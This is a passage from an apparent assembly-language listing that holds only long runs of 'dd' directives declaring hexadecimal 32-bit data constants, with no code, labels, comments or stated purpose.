		dd 22E9A9C8h, 978DCC90h, 74F42392h, 4DD6BAFFh, 0D87F62A5h
		dd 1EBBAD5Dh, 0C44365A7h, 0F1AE6E0Ch, 0B6CF65FAh, 54C479DBh
		dd 34027A3h, 0A3F234C9h, 0BA928C1Ch, 15431BB0h,	46BDE22Bh
		dd 87CE57Ah, 5B399FFh, 7EDB5CF5h, 0AE1054E2h, 3F3365ABh
		dd 3DDFA769h, 22FF25A2h, 0EF10CBA0h, 0AA111C55h, 850EC772h
		dd 476AFB73h, 95AD3C05h, 0D532A3A0h, 539DABC4h,	3156D4C0h
		dd 1AFFE5EDh, 0F71E4722h, 0FE4758B0h, 53E67F1Ah, 1F84333Ah
		dd 25349966h, 0E6984DF4h, 8D47F2F4h, 9B17C073h,	8C6B80FEh
		dd 61B25FA5h, 69116245h, 49A64022h, 0D8C76B04h,	48D28119h
		dd 6C7FEA1Dh, 0F039CCD0h, 9E3F95B7h, 577A8814h,	98F2E827h
		dd 0BEABF4C9h, 75D40E29h, 635746BFh, 7542FCCh, 0ACE91D72h
		dd 5361C6CEh, 54DC0E1h,	0D1970AB1h, 0DA7CB64Eh,	99912CF6h
		dd 6B5882DFh, 4BF300E9h, 37032BF9h, 0DF722A0Eh,	0D72C3916h
		dd 0A755CAF6h, 21FB1134h, 0B916D573h, 0A195CBFDh, 0C0F9865Fh
		dd 55D99DD4h, 0FDD85D50h, 116E170Ch, 8C3C6CD5h,	576CD3B7h
		dd 0D359A25h, 218D4F63h, 8DCB652Ch, 25C2DB22h, 8A275441h
		dd 0BEE15C25h, 0FD8EFDF8h, 96C58415h, 12287E1Fh, 5853147Fh
		dd 5ACC0DE8h, 3C40E6DDh, 0EE681A98h, 899A272Bh,	0D430C5F2h
		dd 0F226E47h, 0C6F9BD86h, 0CD1B90FBh, 0B1CA74CAh, 295F7E1Fh
		dd 0C646AA89h, 0CD4E8B56h, 53C7FEBCh, 4EB39BAEh, 0FBCA5A1Eh
		dd 4DE20197h, 0CEEF68Eh, 1EECB96Fh, 0E37B3ED5h,	0D335161h
		dd 4B5E255Fh, 0B93AB070h, 0F358CD4Fh, 0C234F399h, 21EA0364h
		dd 0C9B40D24h, 0C6DCB2E4h, 0D02C8DD2h, 257BD04Fh, 864DCF3h
		dd 7D601CC9h, 993B7197h, 0B3CA20FBh, 7C613AFAh,	8FEAAC0h
		dd 0B6646507h, 0E5F0F25Ch, 0D5097DB3h, 0BB9A385Ah, 8835045Eh
		dd 9EBC38EAh, 0F0FA7B8Bh, 77D348C9h, 0F0CEA9C1h, 19A1A50Ch
		dd 7EB4115Ah, 8A3E4FC4h, 1094A6DCh, 366AEA66h, 169EF4E4h
		dd 5874AD19h, 0E9AEEE71h, 251BB72Eh, 2C0A398Bh,	0E23530EFh
		dd 0A64881EBh, 813CE53Fh, 5DE066Eh, 205EF27Ch, 9BB88758h
		dd 196A2D53h, 5AEDB290h, 2C0FA72Dh, 6E1B7295h, 0A1266095h
		dd 967E2F66h, 0A23F389Bh, 6AFB1222h, 91565FEDh,	0BE2EE3ABh
		dd 13C9ECD2h, 9409E2E8h, 1FDCE13Ah, 8AC164C6h, 75024615h
		dd 9E16C0D6h, 868BB522h, 0E2DA468Bh, 0BE76DB05h, 45E83CEFh
		dd 0F4C5B2A5h, 2BA73B94h, 21C34FE7h, 0C19944E5h, 0D2EEBD6Bh
		dd 0F2619120h, 2B355AA5h, 20EB02DCh, 0CE9309BAh, 1C20A0C8h
		dd 0B2784357h, 233BA2B7h, 0E38B6736h, 1A86D24Bh, 0D75A9A60h
		dd 8088EB7Ah, 81F6F03Dh, 0B80E339Ah, 903ACF1h, 147C135Ch
		dd 11D0B889h, 729E8338h, 31362D2Fh, 5B2DD577h, 563392B7h
		dd 559C4D8Eh, 4CDCAB46h, 0C803F88Ah, 0D4608E1Fh, 0EB38F59Bh
		dd 871D80CFh, 0A4CC7DB3h, 0DABA36A0h, 0D7F32518h, 0B4068CCFh
		dd 89A68869h, 6836568Fh, 2D5B39F5h, 3CE68F76h, 0EA0AAB75h
		dd 0F8C28F35h, 20C58C55h, 3964B8D3h, 984C98F6h,	800A4BD8h
		dd 0DF83B2CAh, 837FAFBEh, 0CF8BFA02h, 0C2E9974Eh, 6FB02D1h
		dd 113494DCh, 68677BA3h, 551AA7B7h, 0D2ACAE69h,	0FD1322F6h
		dd 208957E8h, 507F37D6h, 84E78988h, 5094A2F0h, 0D5D4A061h
		dd 3464C8B9h, 0F7360FD4h, 0F35636A1h, 1811A56Bh, 0BB9A9C6Bh
		dd 0F516A265h, 88496CF9h, 35488A7Fh, 60154DB7h,	4CF833C6h
		dd 358DB1ECh, 79F90C46h, 856A838h, 9D9A0FC2h, 63A61DE8h
		dd 11B344Ch, 0DD529510h, 0A5EE272Dh, 10DBF139h,	0F7F889FDh
		dd 5B8E8F4Ah, 47DE2438h, 3AEC5BE2h, 0A35CECCDh,	509A1D2h
		dd 0FC27941Eh, 0D81527BBh, 84F8804Ch, 1E705548h, 3936095Dh
		dd 4AB0592Eh, 0D5E66452h, 0FC388C78h, 9BCBEFB8h, 14D7A042h
		dd 16857D8Ah, 0CCD5994Ah, 0CE44FE0Ah, 1C5DDC7Fh, 9E902F62h
		dd 0D374EF11h, 17B930E0h, 95D3A14Dh, 74A9D915h,	0BDED288Ah
		dd 948EB076h, 5040F154h, 0A44D0B84h, 414C32DCh,	2BF66227h
		dd 8E49E26Ch, 95DECAECh, 8581925Dh, 79E70F69h, 84D974BCh
		dd 0CDA16A27h, 8B34513Fh, 5BD25EDDh, 4DFF8012h,	28E96FEEh
		dd 2A741E2Fh, 0DEF07FBh, 23E740C5h, 1BB90052h, 0DEB3755Dh
		dd 549A5CFDh, 0E01411C0h, 15E83B8Fh, 0C8FE8473h, 466D387Ch
		dd 63EC4DF6h, 74F86813h, 3632B5CCh, 0A77B23E7h,	0D792946Bh
		dd 0A8BD9148h, 4908B212h, 9AFB6Dh, 8C34B839h, 300EAC9Dh
		dd 0F82E11FDh, 0D905A36Fh, 73C36329h, 547222CFh, 0BEFA4D7Ah
		dd 24746872h, 5B731413h, 0FC2A38F8h, 5DEEECC6h,	34AAE4E8h
		dd 9AA0B677h, 0CF0EB961h, 7001DFCCh, 1F920525h,	1F81F8FBh
		dd 0E00B985Bh, 0ED627205h, 3E17F5A9h, 899B1776h, 0DADBD5AEh
		dd 65E2AFAEh, 81A8666Ah, 0B8108FE2h, 0A2E787E5h, 0C5D7E530h
		dd 0FD14C55Ah, 53915C9Eh, 2CA924Bh, 0CB84433Fh,	802E0D1Eh
		dd 1BE70E42h, 35444EF8h, 8E8E9F8Fh, 6B2F119Eh, 9738F87Bh
		dd 7B9769Ah, 0CB4688F1h, 0C4263425h, 0B39B755Ah, 0DE904B44h
		dd 86CC5F0Ch, 5648C849h, 0A01EBB64h, 0CD0E15Dh,	2400B931h
		dd 0AC6B2935h, 0BA7C9236h, 39D60BD7h, 41E0E0DAh, 36CA9C8h
		dd 67B4A881h, 7E6474B4h, 0F793474Fh, 1E22583Ch,	5D2AA630h
		dd 9DDFD0F2h, 32F27DC1h, 0A7D42FE1h, 0FD09EF1h,	357FA457h
		dd 0F31A65B6h, 31AF8623h, 25DBFF18h, 58A87745h,	0DBC96B9Ah
		dd 81819ABBh, 0C67F0D18h, 13E97DC4h, 0C69E4485h, 5F155BA8h
		dd 0C5CECB5Fh, 0D8258EE0h, 0EE24EB70h, 3D48AC41h, 650FF44Ch
		dd 0CE95CD6Ah, 4F99B13Dh, 5E83904Bh, 0C791C7C5h, 0A9BA776Ah
		dd 32FE19F4h, 567F9E8Ah, 74FF3596h, 9E8129F9h, 5C33E902h
		dd 502ABAB7h, 2089C5E7h, 68BD1FDCh, 4BC60EE0h, 592D25F2h
		dd 125F3188h, 5E86B5EAh, 89AB679Fh, 9A5E2927h, 3033E4DFh
		dd 35FE2E57h, 0FA0C6EA4h, 5267CFFBh, 8A74795Fh,	1E209143h
		dd 4BA1E291h, 0A8C2541Dh, 0C279902Eh, 0C804D708h, 0CF1B1A57h
		dd 0B7F99A16h, 0E94D1E82h, 30EA8830h, 4D8060Bh,	0AC89623Ah
		dd 111A519Ch, 67AB77DCh, 808686DBh, 3813B77Dh, 0B95C6005h
		dd 9C2D469Fh, 0A04E826Fh
		dd 3A52CFC6h, 94607C4h,	147F4EE3h, 4BCA76DBh, 0DA7B7EB6h
		dd 0B6BA7FB0h, 44E5B773h, 0D8C95865h, 21B31276h, 2914C288h
		dd 0C0CC72BDh, 2666EF32h, 0E72E043Ah, 48266EF5h, 20E8B232h
		dd 0B29103E0h, 5C3563B7h, 61D27D83h, 6A264540h,	0A8AD8FE4h
		dd 9B465AAAh, 9BE99D4Eh, 4119FBFBh, 0C25E51D3h,	0F837C9A5h
		dd 87F80223h, 115D1FD8h, 799B5F1Ch, 0D64AC077h,	19241546h
		dd 677F8899h, 0C54060F8h, 0DD3DBB44h, 0A0349D64h, 2B3CEBBAh
		dd 0A8467C04h, 1188E13Ah, 29A85CD5h, 0EA60FA14h, 6B1360C3h
		dd 2A4C9D09h, 24F28CB5h, 0C09DDC8h, 7184B4F3h, 32063533h
		dd 0BD6C89C8h, 0A58B375Bh, 359C1611h, 29EED3A2h, 0B4A802CAh
		dd 5CC65062h, 0B666DB7Eh, 0F16CF383h, 3277C54Ch, 8703673Eh
		dd 3D1BB4C5h, 279AC5D8h, 2B975A26h, 9CB2E57h, 0B538ECE1h
		dd 8212A349h, 0EF812CF7h, 0EB42B9CAh, 0D1F8C69Fh, 7686C307h
		dd 45A48FCEh, 0F5BC2ABDh, 6EFE3EF4h, 125BC0F5h,	9E56E62h
		dd 1C88A11Ah, 7968DC39h, 0E5B6734Bh, 0F1F78638h, 0BD3A9459h
		dd 0DB44EDD2h, 66A99E77h, 1D22495Dh, 0C5A686CBh, 0B1255DCh
		dd 78FDED9Ah, 0E2E70793h, 42EB665Bh, 4F89B37Fh,	75E673D5h
		dd 0EA41B388h, 0C150B0F9h, 4550874h, 6F938D2Bh,	7A8F9AA9h
		dd 0F6C11E88h, 348B63C6h, 0DA7454Ch, 9375877Ch,	138CDF20h
		dd 8930916Eh, 9009074Bh, 0B39F0207h, 90456603h,	34910D8h
		dd 76FB486Fh, 71B89C9Ch, 0D643EE9h, 83C0F19Eh, 0B87021F2h
		dd 0C61F486Fh, 0BE3D55Bh, 837FE888h, 0E02CD5C6h, 1EA3438Dh
		dd 2A03E421h, 66A36AA4h, 37C0BA15h, 83A8E6E7h, 638079h
		dd 36993FF8h, 0B94C3C8Ch, 95A3AA77h, 0B9DC8B71h, 22BADB47h
		dd 7D5104D6h, 8B8B53D4h, 61C29B3Bh, 0F43FD218h,	47633444h
		dd 0BB8C4C56h, 4CD06913h, 56E8E2A5h, 0E1F7B63Bh, 9A9DD338h
		dd 0D5E0B02h, 2939E2E2h, 0E1122F01h, 0A2C397Ah,	5982464Bh
		dd 3E5B2A89h, 63CEE4C4h, 9E7EF4A5h, 61608B4Dh, 2183805Bh
		dd 24F9F75Bh, 2770B3B0h, 0E4215D5Ah, 83BE14C4h,	0DEF5CCDAh
		dd 0DFC6E555h, 96EAFF6h, 7BD27398h, 0AD9800AAh,	25683160h
		dd 366DC941h, 9A0976CFh, 0A1AB82E7h, 0E4D8996Eh, 0F0656DFEh
		dd 898C42CEh, 692678B1h, 3B474426h, 0F540DD55h,	6C920B4Ch
		dd 875FE17Ch, 3CF5B37Ah, 0BEA2270Bh, 0E0986605h, 0CF60D716h
		dd 0FA57EFADh, 6DD1E0A1h, 0AAA876CFh, 3E5BCE58h, 0B979D84h
		dd 0BDA5B3A7h, 0BBE146F7h, 5A5B86E6h, 0BBDF15ECh, 8FBE3FEBh
		dd 3ABC6E7h, 9A2EEB40h,	4CE9AB43h, 75B246C8h, 0F256D040h
		dd 7C0F1809h, 0C617E90Dh, 51021CD5h, 0DB12980h,	0AE39B8B1h
		dd 398AD5h, 0A8450ED6h,	0FCB6E727h, 13D7443Fh, 6FE9C44Eh
		dd 0A09F0B67h, 0DCBF776Dh, 264C4BB2h, 0C30249AAh, 0D80756FAh
		dd 9D94F8C1h, 6264CD85h, 4C5F8829h, 0CB78FDD6h,	846B659Ah
		dd 0A398950Ah, 1846E1Eh, 89909C9Eh, 0D75E1A20h,	0B59CB50Eh
		dd 0F2A29728h, 4748740Dh, 4CEF8BE2h, 76FFF370h,	7B2684DDh
		dd 9ED1D0F2h, 0B295A1A5h, 0AF96F0C3h, 0E0FC74B1h, 3563D13Ch
		dd 0DFA92DFEh, 0C588E73Ch, 292BB990h, 38E80Eh, 0BA843F98h
		dd 0A9851D7Bh, 22AD2DB8h, 31B1E7EAh, 0D3C3B375h, 27F55525h
		dd 0CF4F8FA3h, 2B5A576h, 0F0AA81Ch, 0DA321376h,	950ED504h
		dd 0D4414B0Bh, 0EEACC26Eh, 0D98297C3h, 2C35CC06h, 91179548h
		dd 0DC2C3BB3h, 286CD136h, 4C2891F0h, 0B9CC39F7h, 0EC15BEDDh
		dd 83AF625Ch, 0CE0F8B0Fh, 109958C3h, 0B6B9C5D7h, 102E260h
		dd 6C27A46Bh, 85BABA9Dh, 0E7E0D35Ah, 914FA022h,	16103009h
		dd 8B3FE243h, 0A6577ABh, 34090C9h, 7371CA0Dh, 7DCB5A3h
		dd 4B97AB17h, 575947F4h, 0D0347983h, 7E8C4EC0h,	0FDAAB97Ch
		dd 19C293CCh, 2B2062E2h, 603DDF2Bh, 0D19A7CBCh,	0B01D3873h
		dd 86CFFDF3h, 0F6AEBA15h, 6B92022Eh, 4AAF5745h,	264321E5h
		dd 5DC6C2F3h, 0A7ADC3ACh, 2C64202h, 4F18126Dh, 59C13CB8h
		dd 2F2DA187h, 368222Bh,	43382D64h, 334D22F4h, 9E5553DFh
		dd 0E1BC51AFh, 1BCE461Fh, 16CEFADDh, 242CE1Fh, 4E45F6BFh
		dd 9AF4F38Ah, 0B0659E53h, 4E4ACFDDh, 0D687540Fh, 0D4F789D0h
		dd 0E13ABF56h, 87F27216h, 0B9F6B02Eh, 1051BAE3h, 3FE98DB2h
		dd 2E769A6Bh, 0B4A5D386h, 38233021h, 0D037A5E4h, 0AB10A37Eh
		dd 65ED5E00h, 1708EC4Ch, 39630E68h, 0A110F595h,	0CCF97475h
		dd 2A688D78h, 3ABA673Fh, 8E2D5BFAh, 8795D19Dh, 0C03B2A22h
		dd 0B351A55Ch, 8C535F55h, 0E4773532h, 92179947h, 0C4FD318Ah
		dd 93507E2h, 0F0F97924h, 76D9BEB0h, 3D12A5A2h, 66150A36h
		dd 0D421A608h, 0EAA4FBC7h, 31402095h, 240DF5B4h, 0DAF35A43h
		dd 0C2BD77A8h, 97C4B5B9h, 28984B60h, 0E07D9889h, 0DB5AE547h
		dd 4A623277h, 6D4C8A13h, 0B87761ECh, 6639FF7h, 471E29E0h
		dd 884E432Bh, 5FDF9E34h, 97AB23F6h, 363A1D36h, 4ED8B741h
		dd 0ADD04A47h, 4808BFh,	0C662DFE6h, 73A5BDFEh, 124547F3h
		dd 198B411Ch, 0C2230B54h, 1A79D418h, 58468D2Dh,	0DF562963h
		dd 0C8B7FDB2h, 2ED18A7Bh, 0A5282BF4h, 4019FD50h, 6D2D397Dh
		dd 7DA10CA7h, 0E76D0E85h, 0AAFBB3C0h, 0EB4A336Dh, 24EFD30Bh
		dd 4631C6CEh, 28AA937Fh, 92B76F59h, 0F43EEA7Ah,	0C36A9EF0h
		dd 7F3250DFh, 1BA572F6h, 0B465EC29h, 7B0AD6D6h,	0FDD29983h
		dd 0C255517Ah, 6BB88D29h, 0DBCBF441h, 6A80FF50h, 3C29EAE8h
		dd 9A106ACEh, 0CDECCEEFh, 35B11890h, 0F0916B0Bh, 2CA9F1DAh
		dd 26B31346h, 9E5ECFB7h, 0FA526903h, 74B1C9EDh,	4950DF70h
		dd 9C51E8A6h, 4D2AE715h, 1E0832EAh, 8FA98156h, 732CFACBh
		dd 0C6A16905h, 0A20BD7F5h, 3B4E9F38h, 0DB43DA5Bh, 1822E84Fh
		dd 3D20EE84h, 73B038DDh, 12E4FDD6h, 0A8E2724Bh,	4E7CFEC6h
		dd 0A12E181Ch, 0DC5B5FBDh, 0E0FF8C0Fh, 7F9158C4h, 7D028AD3h
		dd 0ED378A19h, 0D3D59226h, 0AF8BA9E6h, 24F8ADF7h, 1567AB23h
		dd 6C51288Dh, 0D11DC3D2h, 0BCB30969h, 5B27FD4Ch, 842EF52Eh
		dd 189261Dh, 0F26A2E64h, 0D85D5E93h, 44213CF1h,	12D0AAE4h
		dd 0E67BA64h, 0CF9D04F0h, 0A3409332h, 1E2C8606h, 0D4FF776Fh
		dd 5CC9AA57h, 0F6EE47A5h, 8B2E8524h, 71200C9Ah,	0C40BA461h
		dd 0FDA3EBACh, 0D8AD4DE2h, 0AC5B7328h, 24A021B7h, 2ED9A64Eh
		dd 89F1D5E0h, 9F2B5860h, 9D40D26h, 0C782F182h, 824602E6h
		dd 4FE5DFEFh, 7054DD03h, 0DD8479Dh, 9BA58284h, 8632E885h
		dd 855680DEh, 1B76423h,	0BD852D5Ch, 0F15777F4h,	9F260EDCh
		dd 9E88444Eh, 1059D6C0h, 0E54CB546h, 0EF13BE36h, 543B7D0Eh
		dd 2BD6905h, 0A06D12B4h, 0C0450ED0h, 0BD4B96E1h, 0C8955CE5h
		dd 0AA0DC0D9h, 1B9267D3h, 955A4F11h, 75FE37ADh,	3D246E60h
		dd 0D2EBC72h, 8F2ECB5Eh, 356CBE19h, 13BE90ECh, 139250DEh
		dd 0A04238C3h, 0D0E59E6Ch, 7A28D16h, 0C0FBD11Eh, 33EE486Bh
		dd 1CFE2266h, 35F27931h, 94633B70h, 0EF57E99Ah,	0E2E0309Ch
		dd 0AC5D540Eh, 0FEBC4A0Bh, 0A5CD928Dh, 15D457CCh, 5B4BA85Bh
		dd 1EE300DEh, 0F4B8A867h, 4EEF9DBDh, 4B3AA2EFh,	3E370E68h
		dd 0B1FDDBDEh, 0CC3B2A01h, 222A85Bh, 59C47DE0h,	0F3DBA6Bh
		dd 9BF7524Ah, 8848CBC2h, 2E9E1E2Ch, 479C736Dh, 46CDEC0Ah
		dd 0F8A15791h, 5B626622h, 11C0CA13h, 0A2C30A0Ch, 90F875B7h
		dd 8291858h, 2AEDAA06h,	2949E561h, 245D095Ah, 0A554D48Dh
		dd 282909B8h, 0C1988587h
		dd 0BCAACB69h, 0A0290BB4h, 76D39B4Bh, 0B66C95FDh, 5B975A96h
		dd 0FF2020D3h, 0A0E9E499h, 0E91641F3h, 0F3A7B40h, 3428713h
		dd 43020502h, 36DA25E5h, 0E3FA6C7h, 0D893ADDh, 0B61C157h
		dd 70D4CDC5h, 0E48D00ABh, 851F3062h, 9B589D49h,	69D9AA62h
		dd 32B76A6h, 32D38E49h,	9E0DFF71h, 62A43AD3h, 17F4098Eh
		dd 7A6F96B5h, 0A2738767h, 67CA71B3h, 78E8B83Fh,	3EE8277Dh
		dd 1B0F5516h, 0CA4384A6h, 21FAF922h, 0A97F46CBh, 8D0F41Fh
		dd 0EA07FA85h, 0DFCA1C93h, 0B049F2h, 0A1D5F105h, 43E01C1h
		dd 95D8E03Bh, 47E03105h, 0BC69A69Ch, 0EDABEAF3h, 1A488CDCh
		dd 7088A2C4h, 8C2D2879h, 32F3AF08h, 5118E4FAh, 247DE551h
		dd 10FD8B4Bh, 860B1753h, 0E475369Dh, 0EC871716h, 0B0F196EFh
		dd 5198B874h, 2C03A61Fh, 8ECD49A7h, 215CA01Fh, 42C54FFh
		dd 2CE1B14Bh, 41E29FE1h, 3C7323F9h, 1D6F3CB7h, 76EFC72Ch
		dd 9B796BA7h, 9B9C16B9h, 1623BC49h, 0BF74B775h,	0F1B5F965h
		dd 5273EE51h, 4562BCF4h, 20C48C71h, 0DC907079h,	4F565205h
		dd 0DFC4420Fh, 0C54E836Eh, 0A10D3DFDh, 1B60A255h, 0D6C72E94h
		dd 76F0FE49h, 2C50BB6Fh, 55930FCBh, 756C7F9Ah, 293B216Eh
		dd 0F1BB7034h, 62291697h, 0D51C605Fh, 1B1A6584h, 0BF418393h
		dd 672AEA37h, 1816B8BDh, 6DDE3521h, 44CAF44Dh, 0EED18B92h
		dd 9D958EB7h, 5ACEABB8h, 0E5440929h, 596FFD16h,	88C4ECDAh
		dd 6EF2851Fh, 0AFE3C915h, 5CBFBB11h, 0A84E188Eh, 9D16782Fh
		dd 0AFC74A4Ch, 0C7464BB8h, 57ECA700h, 6D20FFB6h, 202C1EB9h
		dd 519C4BD5h, 30246895h, 19DDBCB9h, 48A5769Bh, 980BCA6Eh
		dd 0B25EA5F7h, 0E22B4C20h, 2B88907Ch, 6BB163CEh, 0FE3E958Bh
		dd 0BCC2639Dh, 0CAA77A02h, 46819D07h, 0DE431BDDh, 6C7CC657h
		dd 0C93126F7h, 1C2BE56Ch, 44B615DEh, 0F34A6857h, 9D4FF2BAh
		dd 0FC36D74Ch, 3CF5C42Dh, 78B9564Dh, 479075A8h,	5273468Fh
		dd 0A966FBA6h, 0C0C24B64h, 35EA6809h, 0F5C82FF8h, 0ED48D028h
		dd 4D94D9AFh, 16521053h, 0BA78D811h, 7B3E46CFh,	0FDA20F88h
		dd 0EB8C7D4Fh, 8C2D6136h, 0BA7AA0C7h, 706AD3B6h, 0AA350882h
		dd 2B788D2Ah, 8ECF7056h, 20414994h, 0AD252C02h,	2CCE9776h
		dd 33853187h, 3163F993h, 2750B510h, 8A6AE3ADh, 86C0EAE1h
		dd 0FE4017F4h, 0CF3C465h, 0AFE28ED5h, 5C051AA5h, 515EEE97h
		dd 8F968CC7h, 0B42F99DCh, 0CC1D2C56h, 0E9D9AEEFh, 7BDAF14Ch
		dd 0D7824E11h, 0E9025312h, 0AC19FEA3h, 0BB7CBF5Bh, 0B65259C6h
		dd 0FD7A646Fh, 6C4BF768h, 2D3C9223h, 92C19504h,	9C294C51h
		dd 4D911EE6h, 7DD60530h, 8EC6CA40h, 6B72147Dh, 11A8826Ah
		dd 9499A011h, 0F8AE014h, 0B97B8C46h, 1E7B76DDh,	219B7835h
		dd 39A47CF0h, 0C31CBB41h, 0C06DC07Bh, 2CF0C81h,	0ED8D70BEh
		dd 0E40D1EA4h, 1A07AC4Ch, 61BF93AFh, 0E4881120h, 0D008FA6Ah
		dd 0F318F429h, 4F293C1Fh, 72BFDAA0h, 523DFEA3h,	0B14E25E8h
		dd 7B922BE0h, 0AF52DAEDh, 0CC1291C9h, 33633F42h, 0DF63E56Ah
		dd 25C21B98h, 0E6A18E3Ch, 5FC8D163h, 7DF3D3Ah, 73A87CDBh
		dd 46896BA2h, 118A9FBEh, 70F925ACh, 3ADB8829h, 74A14011h
		dd 95042188h, 0A596331Fh, 0DF652FC8h, 45FA9E5Eh, 98A8FDD0h
		dd 74DDB85Dh, 5A3A6BAAh, 0B6EA4BFAh, 208716A8h,	0E1C60AD3h
		dd 0C2C3BF49h, 53DCB9FBh, 0D2A4EFEBh, 0A352C07Bh, 0C4E52C72h
		dd 8493073Bh, 46C25785h, 2C392488h, 57BA1620h, 12987A9Bh
		dd 5C94D24Ah, 0D730F81Dh, 3C30F44Ah, 9FB4C130h,	5CE12E8Fh
		dd 62A010F5h, 0BD7CA552h, 145E60CCh, 313DA25Dh,	53E858C4h
		dd 0B75D3099h, 57D4B9A6h, 0BB66DBB6h, 7FE93B73h, 4B9D697h
		dd 59A64747h, 6336DA14h, 9E5BE4A2h, 2F16AA2Fh, 1BB8C36Eh
		dd 600AA566h, 17E649AAh, 0B943E44Eh, 386506BCh,	0EA32C238h
		dd 4FDF4838h, 89CBC08Fh, 7A8957C8h, 61E911A2h, 0F745F431h
		dd 106F27E9h, 0FDF022CFh, 9596E564h, 7F670832h,	0E33F0429h
		dd 23B7DD21h, 0E56BA07Ah, 0BAF92019h, 23C964B5h, 5B089540h
		dd 0F13AA7CAh, 0FD86742Dh, 72D3896Bh, 0DC41CECEh, 9E17BC1Dh
		dd 8142FB46h, 71C8B8F4h, 2A1D54A1h, 78B0021h, 5F71806Ch
		dd 1D3C66DFh, 0E82142DBh, 50654E1Eh, 85569D0Bh,	554534FFh
		dd 0C41155F6h, 928765D7h, 596A9C4Fh, 859F1E91h,	426F74B1h
		dd 972E6721h, 96A16FCBh, 36857B3Ah, 0AEB7E20Dh,	4A8F55EDh
		dd 0C92D4B8Ah, 43F68BADh, 0C1532BBBh, 0E58D66C8h, 0F5344EA8h
		dd 81F9B36Dh, 3073E3ABh, 0A282CFEEh, 7D38C254h,	6BC88A2Bh
		dd 4457D9ABh, 46E3A0D9h, 0AB71D81Dh, 164925D2h,	0AA42F5B1h
		dd 862CCB08h, 83EC73Bh,	0C83118D4h, 0D8FF2841h,	0AB099381h
		dd 0E1C176FBh, 9882C761h, 663EFBE3h, 8294862Dh,	3C32C15Eh
		dd 73EB4564h, 0C3532B86h, 0AF60CDB8h, 0BE65CFEEh, 7DD31B8h
		dd 0EF0BF3C7h, 71A134A0h, 0AF023BA8h, 6E876436h, 0C00971BAh
		dd 0F04F3247h, 0C92F3B80h, 8D7A33DFh, 0C6986128h, 0F8F64B7Ah
		dd 0BBF81DFAh, 17D5DE52h, 9EA1EA71h, 0D4B2F3BFh, 5A238A51h
		dd 0C563EA09h, 31FA0B65h, 0BFA18DBFh, 0F9AA6B37h, 9C89F2DBh
		dd 0A7C07B80h, 14DC0FE3h, 33F25221h, 0DEEBC875h, 570A070Bh
		dd 300A4BA2h, 19D2EE09h, 0AF0C5DE2h, 49D42E67h,	2FE98CA8h
		dd 0D0AF16E6h, 641606A7h, 16AF803Ch, 488728E3h,	0F6D81F8Bh
		dd 2704EB69h, 0C0E503F3h, 0A86D0CA1h, 63AD336Ah, 4A3348CCh
		dd 85C395C2h, 75989630h, 387B1B36h, 0AB339A3Dh,	0CBCA6A83h
		dd 55DDB5DCh, 8554DA7Bh, 0BF21AEA7h, 0C761CB7Eh, 923DBA7Ah
		dd 0A65EDFDDh, 2C6C512Dh, 8DB9E7F5h, 74EE7BC5h,	6D2CB4BCh
		dd 6CF2AF0h, 3E32541Ch,	9CC77AE7h, 77283958h, 0F28EBAE3h
		dd 46585E1Eh, 11A752E6h, 0BBFE4C91h, 0A9515B7Ch, 8CEF35F7h
		dd 49B2BB8h, 1E582B81h,	36D9DE3Bh, 94B078EDh, 0AE8B4C09h
		dd 0E57354Bh, 7AC3F0C7h, 8A33E4F2h, 73B8320Bh, 233214B1h
		dd 0BADD40B2h, 4AE7550Ch, 9B5943FCh, 0C4A6B8CAh, 768C2849h
		dd 0B3C71FD5h, 728A0882h, 0AD56761Bh, 261637D7h, 0F58E47CDh
		dd 0E646A641h, 94AD01ECh, 0AE600FDBh, 28A411C5h, 657D8B5h
		dd 0CC7BE2Ch, 0B055F0F4h, 224F5D44h, 0C341C574h, 36B05341h
		dd 0D5A4B99Eh, 0CA6C2F00h, 804B6A4Bh, 9B8A869h,	1EF6BC89h
		dd 71008756h, 0E316A32Fh, 0FEBB6565h, 0B28A7DA5h, 0C0C393C8h
		dd 3A0F8A08h, 6EDE6F07h, 41C04D01h, 7047EEFAh, 6974C127h
		dd 1DDD4FC8h, 30AF69C5h, 3601F5C7h, 6CF54DF5h, 0A75CCAB9h
		dd 0B02D7A23h, 832D47F1h, 0E662779Ch, 0B8799034h, 4B4F836Dh
		dd 0C21E0F82h, 0E8BC1DE1h, 78B9BEC4h, 4EC182ADh, 0C245E0Bh
		dd 6A608B59h, 0D9E475C4h, 0CB7177A2h, 97101C22h, 4034A64Eh
		dd 326D9070h, 0BBEB10F5h, 1F366980h, 2DAFF28h, 3CE9719Fh
		dd 0B4CA7711h, 0A3D548Fh, 0AD58A15Ch, 8FBA409Ch, 0D95FEA68h
		dd 0E7DD5FC3h, 569FA014h, 0D354A54Ch, 4CED1619h, 0C97E0781h
		dd 128897F0h, 0B3988121h, 46B4F707h, 70605688h,	0F7E0AA94h
		dd 0B89A2C06h, 0E71BF994h, 0A3595625h, 39B120B6h, 0E61518BDh
		dd 0FD3CAAB7h, 1C746120h, 0D673C867h, 99B9E321h, 0B5F18FF4h
		dd 2E6FBB0Eh, 0F1D2925Eh, 2C2ED61Fh, 2DCC09EEh,	210EB568h
		dd 834AED28h, 339B1B0Ch, 28CDC3D1h, 728A16FFh, 0D1325D49h
		dd 5301A708h, 0C34E9E82h, 13A12A29h, 0F1C52815h, 144F7F5Bh
		dd 0A58E5F17h, 93B58B67h
		dd 72411D73h, 0D1B228E3h, 591E8D2Ch, 8F7F6CD2h,	3C0F969Eh
		dd 0F1B9D918h, 248532ACh, 4A278354h, 7E2434A2h,	988D52CBh
		dd 4259A72Ch, 64A75C9h,	0D0142981h, 1DC2C148h, 0A0532745h
		dd 723B12F5h, 0F24B7226h, 0FEBA2A23h, 8AA01EDDh, 0A6BA6F82h
		dd 0EE2CEEEAh, 1E0147CDh, 905E1BA6h, 5E04BA95h,	1FA316CCh
		dd 3879F47Ah, 0B7C272D6h, 7D8EB941h, 0E511069Fh, 22C7875Fh
		dd 0B422210Dh, 7F10188Ah, 76FCBF72h, 7B46081h, 1059A01h
		dd 0CFF303FDh, 4FF07D74h, 23CCB7C6h, 9EC9FF1Bh,	13DE9A23h
		dd 936BC562h, 0F3BBD265h, 0FCB1D062h, 89C09CE1h, 2FF6D414h
		dd 604E65EBh, 0A349DD68h, 0C257252Bh, 39B9BA67h, 0D6B1D251h
		dd 791FA9ABh, 0E2CF519h, 39EFD113h, 8905CC49h, 78A5427Bh
		dd 0CDDF8500h, 0DDDAC74Eh, 0E2116F14h, 7816D2F6h, 0F40C093Dh
		dd 64936B37h, 38E469A4h, 3B4429F5h, 46D26441h, 0ACDB2622h
